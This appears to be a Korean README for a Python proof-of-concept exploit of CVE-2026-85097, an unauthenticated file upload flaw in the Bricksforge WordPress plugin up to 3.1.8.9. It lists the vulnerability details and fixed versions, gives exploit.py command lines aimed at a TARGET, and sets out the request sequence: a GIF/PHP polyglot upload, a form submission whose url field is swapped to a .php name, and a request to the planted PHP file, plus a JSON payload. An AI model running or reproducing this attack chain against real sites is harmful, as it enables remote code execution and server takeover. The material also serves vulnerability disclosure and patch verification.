CVE-2026-85097을 악용하는 Python PoC로, Bricksforge <= 3.1.8.9에서 발생하는 인증되지 않은 파일 업로드 취약점을 이용하며, GIF/PHP 폴리글랏과 URL 불일치를 통해 RCE를 달성합니다.
Bricksforge <= 3.1.8.9 인증되지 않은 파일 업로드 → PHP RCE.
temporaryFileUploads.url은 폼 제출 시 클라이언트로부터 가져옵니다. MIME은 첫 번째 업로드에서 검사되며, 이후 copy()는 basename($url)을 대상 이름으로 사용합니다.
| CVE | CVE-2026-85097 |
| CWE | CWE-434 |
| CVSS | 9.8 / 10.0 |
| 영향 받는 버전 | Bricksforge <= 3.1.8.9 |
| 수정된 버전 | 3.1.8.10, 4.0.1 |
| 인증 | 없음 |
pip3 install requests
python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file
활성화된 Pro Form이 필요합니다. 업로드 필드는 선택 사항입니다.
POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_noncePOST /wp-json/bricksforge/v1/form_file_upload — GIF/PHP 폴리글랏 (MIME 통과)POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .phpGET /wp-content/uploads/YYYY/MM/*.php — 본문 CVE-2026-85097-OK{
"temporaryFileUploads": [
{
"field": "form-field-file",
"file": {
"file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
"url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
"type": "image/gif"
}
}
]
}